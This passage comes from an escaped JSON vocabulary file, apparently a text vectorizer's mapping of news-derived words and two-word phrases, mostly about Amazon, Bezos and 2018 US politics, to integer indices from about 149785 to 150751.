149785,\n  \"romper\": 149786,\n  \"computers new\": 149787,\n  \"government issues\": 149788,\n  \"distribution marty\": 149789,\n  \"future aimee\": 149790,\n  \"million making\": 149791,\n  \"bonkers\": 149792,\n  \"chart 2018\": 149793,\n  \"twin peaks\": 149794,\n  \"manhattan neighborhoods\": 149795,\n  \"swarms\": 149796,\n  \"flying car\": 149797,\n  \"industry apple\": 149798,\n  \"ad sales\": 149799,\n  \"internal letter\": 149800,\n  \"representatives elijah\": 149801,\n  \"haymarket\": 149802,\n  \"adds mute\": 149803,\n  \"reconsidering\": 149804,\n  \"definitely true\": 149805,\n  \"provide 150\": 149806,\n  \"cannibalized book\": 149807,\n  \"che added\": 149808,\n  \"lockers\": 149809,\n  \"wryly finally\": 149810,\n  \"related backlashes\": 149811,\n  \"a4ee l1\": 149812,\n  \"business mailing\": 149813,\n  \"bezos strongly\": 149814,\n  \"charles prince\": 149815,\n  \"vulnerabilities purposely\": 149816,\n  \"gotta\": 149817,\n  \"fed lies\": 149818,\n  \"diagnostics\": 149819,\n  \"henry\": 149820,\n  \"automaker\": 149821,\n  \"california epa\": 149822,\n  \"trump consistent\": 149823,\n  \"suffer income\": 149824,\n  \"met xi\": 149825,\n  \"original story\": 149826,\n  \"organization safer\": 149827,\n  \"messages michael\": 149828,\n  \"including researching\": 149829,\n  \"later best\": 149830,\n  \"boy shares\": 149831,\n  \"impact analysis\": 149832,\n  \"2018 including\": 149833,\n  \"possible\": 149834,\n  \"dc house\": 149835,\n  \"causing prices\": 149836,\n  \"bezos standing\": 149837,\n  \"klein novel\": 149838,\n  \"threatening bezos\": 149839,\n  \"billion taxpayers\": 149840,\n  \"play central\": 149841,\n  \"flood\": 149842,\n  \"obviously north\": 149843,\n  \"notably tough\": 149844,\n  \"company employees\": 149845,\n  \"fincl\": 149846,\n  \"connected murder\": 149847,\n  \"single winner\": 149848,\n  \"arabia sovereign\": 149849,\n  \"nieves phyllis\": 149850,\n  \"wrote seth\": 149851,\n  \"chain cvs\": 149852,\n  \"photographer hbo\": 149853,\n  \"free zone\": 149854,\n  \"110 sears\": 149855,\n  \"tech mahindra\": 149856,\n  \"desirable outcome\": 149857,\n  \"dr king\": 149858,\n  \"crimes subsequent\": 149859,\n  \"adchoices\": 149860,\n  \"delivery van\": 149861,\n  \"discount glen\": 149862,\n  \"state agreement\": 149863,\n  \"head black\": 149864,\n  \"separate subsidiary\": 149865,\n  \"weapons congress\": 149866,\n  \"biggest marketplace\": 149867,\n  \"facilitate seamless\": 149868,\n  \"pay 500m\": 149869,\n  \"look just\": 149870,\n  \"competitive concerns\": 149871,\n  \"sure left\": 149872,\n  \"filmed performing\": 149873,\n  \"push a4ee\": 149874,\n  \"eb a7\": 149875,\n  \"17009396\": 149876,\n  \"negotiates special\": 149877,\n  \"aggressive investment\": 149878,\n  \"significantly outperforming\": 149879,\n  \"ntia discussion\": 149880,\n  \"sector workers\": 149881,\n  \"campaign halliburton\": 149882,\n  \"conservatives tucker\": 149883,\n  \"healthy older\": 149884,\n  \"month worth\": 149885,\n  \"really started\": 149886,\n  \"mellon university\": 149887,\n  \"college degrees\": 149888,\n  \"rekognition capabilities\": 149889,\n  \"nicknamed hq2\": 149890,\n  \"marijuana\": 149891,\n  \"sustainable profitability\": 149892,\n  \"small screens\": 149893,\n  \"colombian\": 149894,\n  \"337 raised\": 149895,\n  \"gripped\": 149896,\n  \"geographic expansion\": 149897,\n  \"white heartland\": 149898,\n  \"hointer\": 149899,\n  \"just telling\": 149900,\n  \"record breaking\": 149901,\n  \"highly visible\": 149902,\n  \"techs rising\": 149903,\n  \"bezos represented\": 149904,\n  \"want share\": 149905,\n  \"exploration\": 149906,\n  \"rich josh\": 149907,\n  \"ellison couple\": 149908,\n  \"test new\": 149909,\n  \"undergo review\": 149910,\n  \"service business\": 149911,\n  \"model khanna\": 149912,\n  \"bates\": 149913,\n  \"hiring seasonal\": 149914,\n  \"broken ballot\": 149915,\n  \"don follow\": 149916,\n  \"nepal quake\": 149917,\n  \"low breakup\": 149918,\n  \"sold 181\": 149919,\n  \"assassinated john\": 149920,\n  \"approached woman\": 149921,\n  \"media version\": 149922,\n  \"premiership football\": 149923,\n  \"bashed mail\": 149924,\n  \"110 indigenous\": 149925,\n  \"covers\": 149926,\n  \"perry sandpaper\": 149927,\n  \"new menu\": 149928,\n  \"bezos predicted\": 149929,\n  \"known address\": 149930,\n  \"calia ivanka\": 149931,\n  \"acceded\": 149932,\n  \"yodeling walmart\": 149933,\n  \"pressured\": 149934,\n  \"w1 a4ee\": 149935,\n  \"new drama\": 149936,\n  \"targeting advertising\": 149937,\n  \"land mines\": 149938,\n  \"russian attempts\": 149939,\n  \"immoral issue\": 149940,\n  \"later finalize\": 149941,\n  \"exas win\": 149942,\n  \"just doesn\": 149943,\n  \"johnson returns\": 149944,\n  \"obtained new\": 149945,\n  \"records release\": 149946,\n  \"ilene\": 149947,\n  \"celebrate alexandra\": 149948,\n  \"angry democrats\": 149949,\n  \"energy plans\": 149950,\n  \"hannah check\": 149951,\n  \"old south\": 149952,\n  \"repeatedly likened\": 149953,\n  \"bulking\": 149954,\n  \"lawmaker introduced\": 149955,\n  \"publishing suqar\": 149956,\n  \"gain access\": 149957,\n  \"major headache\": 149958,\n  \"portfolio somerset\": 149959,\n  \"toile monogram\": 149960,\n  \"sanchez previously\": 149961,\n  \"stock plummets\": 149962,\n  \"adding insult\": 149963,\n  \"marketplace services\": 149964,\n  \"monopoly rents\": 149965,\n  \"starbucks geekwire\": 149966,\n  \"gross sales\": 149967,\n  \"money manager\": 149968,\n  \"upmarket\": 149969,\n  \"sides make\": 149970,\n  \"taskforce\": 149971,\n  \"gigantic dividends\": 149972,\n  \"paulo public\": 149973,\n  \"eric broussard\": 149974,\n  \"property report\": 149975,\n  \"pinch owners\": 149976,\n  \"entertainment advertising\": 149977,\n  \"injustice\": 149978,\n  \"image amazon\": 149979,\n  \"mccain seat\": 149980,\n  \"lampooning\": 149981,\n  \"subcontractors\": 149982,\n  \"incessant\": 149983,\n  \"state actors\": 149984,\n  \"state campaign\": 149985,\n  \"london school\": 149986,\n  \"bakeoff\": 149987,\n  \"morning praised\": 149988,\n  \"universal ai\": 149989,\n  \"amazon collects\": 149990,\n  \"romulus\": 149991,\n  \"recently launched\": 149992,\n  \"macron suggests\": 149993,\n  \"cloud bartiromo\": 149994,\n  \"promoted universal\": 149995,\n  \"day dress\": 149996,\n  \"s4a\": 149997,\n  \"eat burrito\": 149998,\n  \"deadly blaze\": 149999,\n  \"fed philip\": 150000,\n  \"political firestorm\": 150001,\n  \"vwioeclof0\": 150002,\n  \"falsify documents\": 150003,\n  \"internet isn\": 150004,\n  \"secured warm\": 150005,\n  \"employees worldwide\": 150006,\n  \"provides current\": 150007,\n  \"day ellis\": 150008,\n  \"provided funding\": 150009,\n  \"ngo dedicated\": 150010,\n  \"previously criticized\": 150011,\n  \"typical characteristics\": 150012,\n  \"heavily throttled\": 150013,\n  \"development future\": 150014,\n  \"gen bancha\": 150015,\n  \"tonya\": 150016,\n  \"trademark way\": 150017,\n  \"systemically important\": 150018,\n  \"brian ballard\": 150019,\n  \"earnings grew\": 150020,\n  \"communities policy\": 150021,\n  \"upcoming meeting\": 150022,\n  \"long focused\": 150023,\n  \"paying users\": 150024,\n  \"acquire target\": 150025,\n  \"nuzzi olivianuzzi\": 150026,\n  \"tablet technology\": 150027,\n  \"divorce law\": 150028,\n  \"previously returned\": 150029,\n  \"toxic corporate\": 150030,\n  \"negotiation amazon\": 150031,\n  \"post catherine\": 150032,\n  \"wacc\": 150033,\n  \"alyssa rosenberg\": 150034,\n  \"bll\": 150035,\n  \"insider ownership\": 150036,\n  \"largest shale\": 150037,\n  \"olive second\": 150038,\n  \"onsumers\": 150039,\n  \"heard words\": 150040,\n  \"repeated public\": 150041,\n  \"invested inhabitant\": 150042,\n  \"timing problem\": 150043,\n  \"property policies\": 150044,\n  \"awkward revelations\": 150045,\n  \"orcl\": 150046,\n  \"consulting company\": 150047,\n  \"videos desktoplogo\": 150048,\n  \"software engineer\": 150049,\n  \"city keeps\": 150050,\n  \"topics regardless\": 150051,\n  \"japan kyodo\": 150052,\n  \"speaking publicly\": 150053,\n  \"amzn view\": 150054,\n  \"funke airs\": 150055,\n  \"bravado\": 150056,\n  \"repping cnn\": 150057,\n  \"saudi regime\": 150058,\n  \"company furious\": 150059,\n  \"shippers including\": 150060,\n  \"hasn emerged\": 150061,\n  \"parts shaved\": 150062,\n  \"second autumn\": 150063,\n  \"6jygtabh2v ted\": 150064,\n  \"heuvelen kelli\": 150065,\n  \"meaningfully improving\": 150066,\n  \"city cuomo\": 150067,\n  \"smoother\": 150068,\n  \"hard questions\": 150069,\n  \"wa xa\": 150070,\n  \"delivery frequeny\": 150071,\n  \"neighborhood built\": 150072,\n  \"ftes amid\": 150073,\n  \"multiple platforms\": 150074,\n  \"photos help\": 150075,\n  \"hateful\": 150076,\n  \"external partners\": 150077,\n  \"massive campus\": 150078,\n  \"points theorized\": 150079,\n  \"recent purchase\": 150080,\n  \"whichever city\": 150081,\n  \"make tipsters\": 150082,\n  \"stripper\": 150083,\n  \"2012 apple\": 150084,\n  \"conservative operatives\": 150085,\n  \"dicerna pharmaceuticals\": 150086,\n  \"billion users\": 150087,\n  \"logistical work\": 150088,\n  \"waxman democrat\": 150089,\n  \"youssef squali\": 150090,\n  \"hq2 following\": 150091,\n  \"2416 extends\": 150092,\n  \"bowen thinks\": 150093,\n  \"treme\": 150094,\n  \"inquiries\": 150095,\n  \"shipping guarantee\": 150096,\n  \"fbi protects\": 150097,\n  \"family days\": 150098,\n  \"existing owners\": 150099,\n  \"marketwatch cnbc\": 150100,\n  \"read amazon\": 150101,\n  \"business space\": 150102,\n  \"prime wardrobe\": 150103,\n  \"program politico\": 150104,\n  \"ivanka\": 150105,\n  \"transportation space\": 150106,\n  \"honorable mention\": 150107,\n  \"cited 2018\": 150108,\n  \"falls somewhat\": 150109,\n  \"possibly gotten\": 150110,\n  \"tarp funds\": 150111,\n  \"trumpers failed\": 150112,\n  \"mitsui trust\": 150113,\n  \"women having\": 150114,\n  \"head pentagon\": 150115,\n  \"agrandalliance\": 150116,\n  \"father kill\": 150117,\n  \"gas conference\": 150118,\n  \"repetitive\": 150119,\n  \"chris hayes\": 150120,\n  \"wasn spy\": 150121,\n  \"pavement\": 150122,\n  \"middeninkomen\": 150123,\n  \"establish process\": 150124,\n  \"pushes new\": 150125,\n  \"holiday quarter\": 150126,\n  \"bars\": 150127,\n  \"salt deduction\": 150128,\n  \"versus trump\": 150129,\n  \"service senator\": 150130,\n  \"tax reforms\": 150131,\n  \"gop run\": 150132,\n  \"site google\": 150133,\n  \"payment according\": 150134,\n  \"dennisndee\": 150135,\n  \"coding\": 150136,\n  \"housekeeper named\": 150137,\n  \"macdonald korth\": 150138,\n  \"best served\": 150139,\n  \"pricing plans\": 150140,\n  \"hangout\": 150141,\n  \"703\": 150142,\n  \"market economy\": 150143,\n  \"green\": 150144,\n  \"r4ee k4e\": 150145,\n  \"oust\": 150146,\n  \"good stuff\": 150147,\n  \"organization negotiated\": 150148,\n  \"citing measured\": 150149,\n  \"corporate siblings\": 150150,\n  \"trending democratic\": 150151,\n  \"view gallery\": 150152,\n  \"art reminders\": 150153,\n  \"eduardo\": 150154,\n  \"brilliant spike\": 150155,\n  \"different economy\": 150156,\n  \"clandestine acquisition\": 150157,\n  \"ago forbes\": 150158,\n  \"propogated\": 150159,\n  \"taxpayers thanks\": 150160,\n  \"marcio\": 150161,\n  \"diana lockhart\": 150162,\n  \"patriotic\": 150163,\n  \"nayef\": 150164,\n  \"amazon women\": 150165,\n  \"feet floor\": 150166,\n  \"guardiola\": 150167,\n  \"tariffs result\": 150168,\n  \"exclusive twitter\": 150169,\n  \"amazon string\": 150170,\n  \"twist president\": 150171,\n  \"ctia\": 150172,\n  \"legislature sure\": 150173,\n  \"fever czech\": 150174,\n  \"recreation industry\": 150175,\n  \"best time\": 150176,\n  \"played strictly\": 150177,\n  \"rare profit\": 150178,\n  \"add george\": 150179,\n  \"recommending possible\": 150180,\n  \"notes leonid\": 150181,\n  \"carpenters\": 150182,\n  \"2018 oscar\": 150183,\n  \"fortune according\": 150184,\n  \"pubgmxaw pubgps4\": 150185,\n  \"godwin julian\": 150186,\n  \"cryengine\": 150187,\n  \"feud taking\": 150188,\n  \"eu aggressive\": 150189,\n  \"agreements require\": 150190,\n  \"tech reporter\": 150191,\n  \"multiple areas\": 150192,\n  \"wix\": 150193,\n  \"networks state\": 150194,\n  \"pressure larry\": 150195,\n  \"operational centers\": 150196,\n  \"rose according\": 150197,\n  \"countries worldcupupdates\": 150198,\n  \"emblem carnival\": 150199,\n  \"blofeld\": 150200,\n  \"say path\": 150201,\n  \"gain instant\": 150202,\n  \"gee sure\": 150203,\n  \"policy speech\": 150204,\n  \"videocardcontents showname\": 150205,\n  \"catastrophic\": 150206,\n  \"city weinstein\": 150207,\n  \"knopf buy\": 150208,\n  \"donahoe warned\": 150209,\n  \"wall await\": 150210,\n  \"races stack\": 150211,\n  \"doubt genuinely\": 150212,\n  \"eroding democracy\": 150213,\n  \"hefty earnings\": 150214,\n  \"senate finance\": 150215,\n  \"witty interlude\": 150216,\n  \"facist\": 150217,\n  \"hikes package\": 150218,\n  \"larger profits\": 150219,\n  \"deploy dangerous\": 150220,\n  \"freelancing\": 150221,\n  \"signatories write\": 150222,\n  \"dpid\": 150223,\n  \"cybersecurity policy\": 150224,\n  \"uploaded_files image\": 150225,\n  \"simply stayed\": 150226,\n  \"dark regarding\": 150227,\n  \"attorney rudolph\": 150228,\n  \"thebeholder\": 150229,\n  \"multiply addressable\": 150230,\n  \"entrepreneur jeff\": 150231,\n  \"places bezos\": 150232,\n  \"dad\": 150233,\n  \"unidentified intruder\": 150234,\n  \"adm jim\": 150235,\n  \"history orig\": 150236,\n  \"hq2 ended\": 150237,\n  \"farrow isn\": 150238,\n  \"month china\": 150239,\n  \"wrong foot\": 150240,\n  \"step aside\": 150241,\n  \"lenovo 0992\": 150242,\n  \"trump economy\": 150243,\n  \"including testing\": 150244,\n  \"original content\": 150245,\n  \"hipster\": 150246,\n  \"really fare\": 150247,\n  \"included gifts\": 150248,\n  \"putz\": 150249,\n  \"government regulations\": 150250,\n  \"1721086080 z4a\": 150251,\n  \"sweetheart deal\": 150252,\n  \"nbc patriots\": 150253,\n  \"reuters hello\": 150254,\n  \"personal reasons\": 150255,\n  \"driving interior\": 150256,\n  \"star rating\": 150257,\n  \"yap\": 150258,\n  \"calendar\": 150259,\n  \"intopresident trump\": 150260,\n  \"pecker north\": 150261,\n  \"respective working\": 150262,\n  \"world carbon\": 150263,\n  \"republicans buck\": 150264,\n  \"pence slammed\": 150265,\n  \"provide housing\": 150266,\n  \"banga\": 150267,\n  \"partisan fund\": 150268,\n  \"debt wti\": 150269,\n  \"commission coalatree\": 150270,\n  \"sylvia plath\": 150271,\n  \"seen additional\": 150272,\n  \"oedipal myth\": 150273,\n  \"passive aggressive\": 150274,\n  \"forbes billionaire\": 150275,\n  \"analytics firm\": 150276,\n  \"boycottwalmart\": 150277,\n  \"bezos remarks\": 150278,\n  \"britain\": 150279,\n  \"effectively disrupt\": 150280,\n  \"backed workers\": 150281,\n  \"crimes seth\": 150282,\n  \"news published\": 150283,\n  \"injecting packages\": 150284,\n  \"product portfolio\": 150285,\n  \"direct line\": 150286,\n  \"elliott bay\": 150287,\n  \"closs\": 150288,\n  \"amazon thinks\": 150289,\n  \"sales slump\": 150290,\n  \"adds dark\": 150291,\n  \"zuckerberg amassed\": 150292,\n  \"bank governors\": 150293,\n  \"historic flooding\": 150294,\n  \"previously presented\": 150295,\n  \"shibabi character\": 150296,\n  \"pegged\": 150297,\n  \"company consults\": 150298,\n  \"canvas\": 150299,\n  \"listing titled\": 150300,\n  \"erstwhile\": 150301,\n  \"balance aside\": 150302,\n  \"provide sort\": 150303,\n  \"mass incarceration\": 150304,\n  \"article does\": 150305,\n  \"holdings google\": 150306,\n  \"poll showed\": 150307,\n  \"split fcc\": 150308,\n  \"doing differently\": 150309,\n  \"year given\": 150310,\n  \"ray\": 150311,\n  \"investor website\": 150312,\n  \"wound business\": 150313,\n  \"emilian papadopoulos\": 150314,\n  \"amazon reaps\": 150315,\n  \"state handles\": 150316,\n  \"battle lawsuit\": 150317,\n  \"gmt\": 150318,\n  \"james comey\": 150319,\n  \"clear amazon\": 150320,\n  \"kept low\": 150321,\n  \"drawn scrutiny\": 150322,\n  \"nazi motorcycle\": 150323,\n  \"trashing national\": 150324,\n  \"bouugkgpyc\": 150325,\n  \"link cars\": 150326,\n  \"popularized\": 150327,\n  \"acquired intangibles\": 150328,\n  \"twitter pulled\": 150329,\n  \"york bureau\": 150330,\n  \"trump divide\": 150331,\n  \"relinquishing\": 150332,\n  \"awards documentar\": 150333,\n  \"viewer question\": 150334,\n  \"president mark\": 150335,\n  \"enjoyed working\": 150336,\n  \"immense project\": 150337,\n  \"ben affleck\": 150338,\n  \"bears\": 150339,\n  \"infrastructure needed\": 150340,\n  \"influential physicians\": 150341,\n  \"trump expressed\": 150342,\n  \"reviews usps\": 150343,\n  \"fiji\": 150344,\n  \"environmental challenges\": 150345,\n  \"life escapades\": 150346,\n  \"000 california\": 150347,\n  \"support receive\": 150348,\n  \"252 billion\": 150349,\n  \"comedy michelle\": 150350,\n  \"working remotely\": 150351,\n  \"rampant conservative\": 150352,\n  \"remaining vestige\": 150353,\n  \"walls cross\": 150354,\n  \"lii\": 150355,\n  \"washington firm\": 150356,\n  \"salles speaks\": 150357,\n  \"parliament hill\": 150358,\n  \"otc\": 150359,\n  \"wohl\": 150360,\n  \"video cassettes\": 150361,\n  \"platform amazon\": 150362,\n  \"prince visit\": 150363,\n  \"winning movie\": 150364,\n  \"amazon advised\": 150365,\n  \"deepening partnership\": 150366,\n  \"bowker authority\": 150367,\n  \"york beginning\": 150368,\n  \"invictus games\": 150369,\n  \"late writer\": 150370,\n  \"weapons washington\": 150371,\n  \"page told\": 150372,\n  \"punk\": 150373,\n  \"highest institutional\": 150374,\n  \"criminal statutes\": 150375,\n  \"receiving counterfeit\": 150376,\n  \"economic rocket\": 150377,\n  \"subscriber additions\": 150378,\n  \"patty rough\": 150379,\n  \"surface\": 150380,\n  \"zacks hottest\": 150381,\n  \"school captives\": 150382,\n  \"134 8b\": 150383,\n  \"garofalo decided\": 150384,\n  \"video stated\": 150385,\n  \"amd cloud\": 150386,\n  \"price consumers\": 150387,\n  \"nathan mcdermott\": 150388,\n  \"dossier politico\": 150389,\n  \"reporters\": 150390,\n  \"urges allies\": 150391,\n  \"washington politics\": 150392,\n  \"baptized\": 150393,\n  \"investigation uncovered\": 150394,\n  \"rob carrick\": 150395,\n  \"isn buying\": 150396,\n  \"satin\": 150397,\n  \"officer safra\": 150398,\n  \"jones rick\": 150399,\n  \"early mid\": 150400,\n  \"amazon ladd\": 150401,\n  \"philanthropist shifted\": 150402,\n  \"thoma\": 150403,\n  \"aikman\": 150404,\n  \"pentagon force\": 150405,\n  \"taxes destroying\": 150406,\n  \"represents arizona\": 150407,\n  \"infiltrates\": 150408,\n  \"northwest\": 150409,\n  \"prerecorded\": 150410,\n  \"section shows\": 150411,\n  \"forcing employees\": 150412,\n  \"downloadable software\": 150413,\n  \"judicially\": 150414,\n  \"howard emailed\": 150415,\n  \"bankruptcy 2018\": 150416,\n  \"bear pinzon\": 150417,\n  \"amazon invasion\": 150418,\n  \"distinct pleasure\": 150419,\n  \"dui\": 150420,\n  \"medellin cartel\": 150421,\n  \"make series\": 150422,\n  \"new hybrid\": 150423,\n  \"special save\": 150424,\n  \"day spike\": 150425,\n  \"company coverage\": 150426,\n  \"repressed\": 150427,\n  \"digital publishing\": 150428,\n  \"detection amazon\": 150429,\n  \"financial results\": 150430,\n  \"market gleefully\": 150431,\n  \"billion rubenstein\": 150432,\n  \"regularly slamming\": 150433,\n  \"fines floyd\": 150434,\n  \"captain toad\": 150435,\n  \"chauffeured\": 150436,\n  \"cnn brian\": 150437,\n  \"sun tucking\": 150438,\n  \"phone gps\": 150439,\n  \"don bid\": 150440,\n  \"jnj\": 150441,\n  \"count buybacks\": 150442,\n  \"trucks sit\": 150443,\n  \"corporate campaigner\": 150444,\n  \"investments usa\": 150445,\n  \"margin electronics\": 150446,\n  \"reporter marc\": 150447,\n  \"pubgmhbd pubgmxaw\": 150448,\n  \"kelly weekly\": 150449,\n  \"computer science\": 150450,\n  \"masks\": 150451,\n  \"way day\": 150452,\n  \"whitesell reportedly\": 150453,\n  \"exploded governor\": 150454,\n  \"southern japan\": 150455,\n  \"caller\": 150456,\n  \"mini capitalism\": 150457,\n  \"stacey abrams\": 150458,\n  \"companies looking\": 150459,\n  \"crawford senior\": 150460,\n  \"prudential standards\": 150461,\n  \"geographically roughly\": 150462,\n  \"back23\": 150463,\n  \"resurgent\": 150464,\n  \"establish cooperative\": 150465,\n  \"performance usps\": 150466,\n  \"callous\": 150467,\n  \"patents licenses\": 150468,\n  \"regime main\": 150469,\n  \"financial deficit\": 150470,\n  \"manufacturing renaissance\": 150471,\n  \"residential space\": 150472,\n  \"economic pullback\": 150473,\n  \"strategic advisors\": 150474,\n  \"capital isn\": 150475,\n  \"policy ideas\": 150476,\n  \"retailers postal\": 150477,\n  \"months ahead\": 150478,\n  \"shlock\": 150479,\n  \"coalition announcement\": 150480,\n  \"zinke\": 150481,\n  \"uses earlier\": 150482,\n  \"style\": 150483,\n  \"yorkers spokesman\": 150484,\n  \"shining\": 150485,\n  \"administration position\": 150486,\n  \"plans good\": 150487,\n  \"house pass\": 150488,\n  \"posts 2095956267355712\": 150489,\n  \"haven read\": 150490,\n  \"ytd\": 150491,\n  \"easy begin\": 150492,\n  \"docuseries sees\": 150493,\n  \"buttercups\": 150494,\n  \"charge toll\": 150495,\n  \"recently explained\": 150496,\n  \"neutral policies\": 150497,\n  \"rights especially\": 150498,\n  \"changing seattle\": 150499,\n  \"fired fromtheir\": 150500,\n  \"beneficiant jeff\": 150501,\n  \"lenders\": 150502,\n  \"saved alphabet\": 150503,\n  \"beauty bezos\": 150504,\n  \"prevent counterfeit\": 150505,\n  \"cancelsits plans\": 150506,\n  \"crash ohio\": 150507,\n  \"card rate\": 150508,\n  \"step lifespan\": 150509,\n  \"network paying\": 150510,\n  \"journal just\": 150511,\n  \"built tell\": 150512,\n  \"profitable unit\": 150513,\n  \"president hours\": 150514,\n  \"gonzales added\": 150515,\n  \"amid subdued\": 150516,\n  \"whales\": 150517,\n  \"distribution footprint\": 150518,\n  \"affecting widows\": 150519,\n  \"period french\": 150520,\n  \"booker cory\": 150521,\n  \"cause animal\": 150522,\n  \"slips\": 150523,\n  \"haynes disappeared\": 150524,\n  \"launch satellites\": 150525,\n  \"affiliated opposition\": 150526,\n  \"vote schedule\": 150527,\n  \"price pronounced\": 150528,\n  \"year eve\": 150529,\n  \"pence speaks\": 150530,\n  \"imaginative\": 150531,\n  \"times 2020\": 150532,\n  \"associate attorney\": 150533,\n  \"tantalising possibility\": 150534,\n  \"becker cited\": 150535,\n  \"fenner\": 150536,\n  \"moving fast\": 150537,\n  \"shape women\": 150538,\n  \"malicious deception\": 150539,\n  \"debt debt\": 150540,\n  \"sprayed\": 150541,\n  \"book orders\": 150542,\n  \"dannemora\": 150543,\n  \"white quotes\": 150544,\n  \"insurance ceo\": 150545,\n  \"office receipts\": 150546,\n  \"terms president\": 150547,\n  \"riggs planning\": 150548,\n  \"cost won\": 150549,\n  \"print version\": 150550,\n  \"hiding fair\": 150551,\n  \"humpty\": 150552,\n  \"s0 j8i\": 150553,\n  \"reporters afterward\": 150554,\n  \"residential nyse\": 150555,\n  \"known companies\": 150556,\n  \"individuals panelists\": 150557,\n  \"potentially increasing\": 150558,\n  \"honduran immigrants\": 150559,\n  \"overpayment\": 150560,\n  \"actually reads\": 150561,\n  \"public infrastructure\": 150562,\n  \"squeezing authors\": 150563,\n  \"issue upstateamerica\": 150564,\n  \"classroom today\": 150565,\n  \"airplanes deutsch\": 150566,\n  \"ipt selected\": 150567,\n  \"central broad\": 150568,\n  \"utf8 qid\": 150569,\n  \"style hat\": 150570,\n  \"mlk paulmanafort\": 150571,\n  \"patricia sold\": 150572,\n  \"republicans actually\": 150573,\n  \"facebook euro\": 150574,\n  \"escape home\": 150575,\n  \"share amazon\": 150576,\n  \"proxy report\": 150577,\n  \"having\": 150578,\n  \"deals culture\": 150579,\n  \"project pilot\": 150580,\n  \"far cruise\": 150581,\n  \"high minded\": 150582,\n  \"world canada\": 150583,\n  \"boyle\": 150584,\n  \"real functioning\": 150585,\n  \"crony barack\": 150586,\n  \"picketing boycotts\": 150587,\n  \"important criteria\": 150588,\n  \"prisoner transport\": 150589,\n  \"crazy joe\": 150590,\n  \"private messages\": 150591,\n  \"formal processes\": 150592,\n  \"kickers\": 150593,\n  \"broke 150\": 150594,\n  \"activists fear\": 150595,\n  \"hateful ideologies\": 150596,\n  \"college educated\": 150597,\n  \"panama\": 150598,\n  \"earthquakes\": 150599,\n  \"adult tell\": 150600,\n  \"democrats republican\": 150601,\n  \"rubber stamp\": 150602,\n  \"assume responsibility\": 150603,\n  \"practices tony\": 150604,\n  \"scandal colorado\": 150605,\n  \"story crayton\": 150606,\n  \"abducts\": 150607,\n  \"potential investorplace\": 150608,\n  \"trump speaks\": 150609,\n  \"americanized\": 150610,\n  \"jacked\": 150611,\n  \"ruling clears\": 150612,\n  \"stocks saw\": 150613,\n  \"troop\": 150614,\n  \"fvhowpfqiy\": 150615,\n  \"journal peter\": 150616,\n  \"think amazon\": 150617,\n  \"serving cake\": 150618,\n  \"contacting\": 150619,\n  \"independent voice\": 150620,\n  \"niniane wang\": 150621,\n  \"smaller ones\": 150622,\n  \"scott senate\": 150623,\n  \"debates rep\": 150624,\n  \"called tent\": 150625,\n  \"jamescomey\": 150626,\n  \"palmiotto owner\": 150627,\n  \"defender yes\": 150628,\n  \"thill\": 150629,\n  \"nyregion\": 150630,\n  \"whitelist\": 150631,\n  \"favorite corporate\": 150632,\n  \"include confederate\": 150633,\n  \"classified\": 150634,\n  \"wrestling\": 150635,\n  \"york real\": 150636,\n  \"gmos\": 150637,\n  \"vietnamese recipes\": 150638,\n  \"selling channels\": 150639,\n  \"nba nfl\": 150640,\n  \"executives realized\": 150641,\n  \"tolling machines\": 150642,\n  \"expressing outrage\": 150643,\n  \"developer accounted\": 150644,\n  \"dash aws\": 150645,\n  \"trillion toll\": 150646,\n  \"overwhelming evidence\": 150647,\n  \"lower net\": 150648,\n  \"medium shared\": 150649,\n  \"sept amazon\": 150650,\n  \"liberal challenges\": 150651,\n  \"580 137\": 150652,\n  \"need preschool\": 150653,\n  \"miliband\": 150654,\n  \"jobs post\": 150655,\n  \"sons continue\": 150656,\n  \"japanese billionaire\": 150657,\n  \"mail bezos\": 150658,\n  \"money 2019\": 150659,\n  \"inaccurate bezos\": 150660,\n  \"000 lost\": 150661,\n  \"__source twitter\": 150662,\n  \"nominees\": 150663,\n  \"david fasanella\": 150664,\n  \"morning edition\": 150665,\n  \"traffic amazon\": 150666,\n  \"speculation trump\": 150667,\n  \"main areas\": 150668,\n  \"hollywood amazon\": 150669,\n  \"ad services\": 150670,\n  \"sneaky thing\": 150671,\n  \"bezos requesting\": 150672,\n  \"pretty unlikely\": 150673,\n  \"jones dems\": 150674,\n  \"unsuccessfully sought\": 150675,\n  \"leavenworth\": 150676,\n  \"embassy\": 150677,\n  \"hold back23\": 150678,\n  \"immediately prior\": 150679,\n  \"clothing line\": 150680,\n  \"region best\": 150681,\n  \"runs aws\": 150682,\n  \"holdings virginia\": 150683,\n  \"tax repealed\": 150684,\n  \"increased marketing\": 150685,\n  \"europe walmart\": 150686,\n  \"immigrant hardliners\": 150687,\n  \"used primarily\": 150688,\n  \"cfo david\": 150689,\n  \"right major\": 150690,\n  \"companies products\": 150691,\n  \"example shows\": 150692,\n  \"uw yesterday\": 150693,\n  \"qanon shirts\": 150694,\n  \"barr amazon\": 150695,\n  \"instead calling\": 150696,\n  \"kicking\": 150697,\n  \"retailer annual\": 150698,\n  \"york harbor\": 150699,\n  \"political power\": 150700,\n  \"published amazon\": 150701,\n  \"intransigent\": 150702,\n  \"model combining\": 150703,\n  \"apple employees\": 150704,\n  \"paves way\": 150705,\n  \"consequential regulatory\": 150706,\n  \"register contact\": 150707,\n  \"whaling\": 150708,\n  \"workforce did\": 150709,\n  \"hamilton mac\": 150710,\n  \"attack china\": 150711,\n  \"lv\": 150712,\n  \"mean heck\": 150713,\n  \"won sweeping\": 150714,\n  \"technology stocks\": 150715,\n  \"giants twisted\": 150716,\n  \"things moving\": 150717,\n  \"primarily scruffy\": 150718,\n  \"postage trump\": 150719,\n  \"time person\": 150720,\n  \"office state\": 150721,\n  \"billion forbes\": 150722,\n  \"swinton mia\": 150723,\n  \"boasted choosing\": 150724,\n  \"806\": 150725,\n  \"spygate\": 150726,\n  \"winter wired\": 150727,\n  \"story housing\": 150728,\n  \"brutally demanding\": 150729,\n  \"radio personality\": 150730,\n  \"assassinated russian\": 150731,\n  \"contracts expire\": 150732,\n  \"deplorable\": 150733,\n  \"era safety\": 150734,\n  \"stone longtime\": 150735,\n  \"altogether saying\": 150736,\n  \"schoolchildren\": 150737,\n  \"digits 2018\": 150738,\n  \"828\": 150739,\n  \"rural communities\": 150740,\n  \"label threat\": 150741,\n  \"check forging\": 150742,\n  \"pediatric\": 150743,\n  \"sent 900\": 150744,\n  \"markets rose\": 150745,\n  \"capitalist\": 150746,\n  \"began taking\": 150747,\n  \"creating investor\": 150748,\n  \"hempstead senior\": 150749,\n  \"island power\": 150750,\n  \"headquarters locations\": 150751,\n  \"buffett observed\": 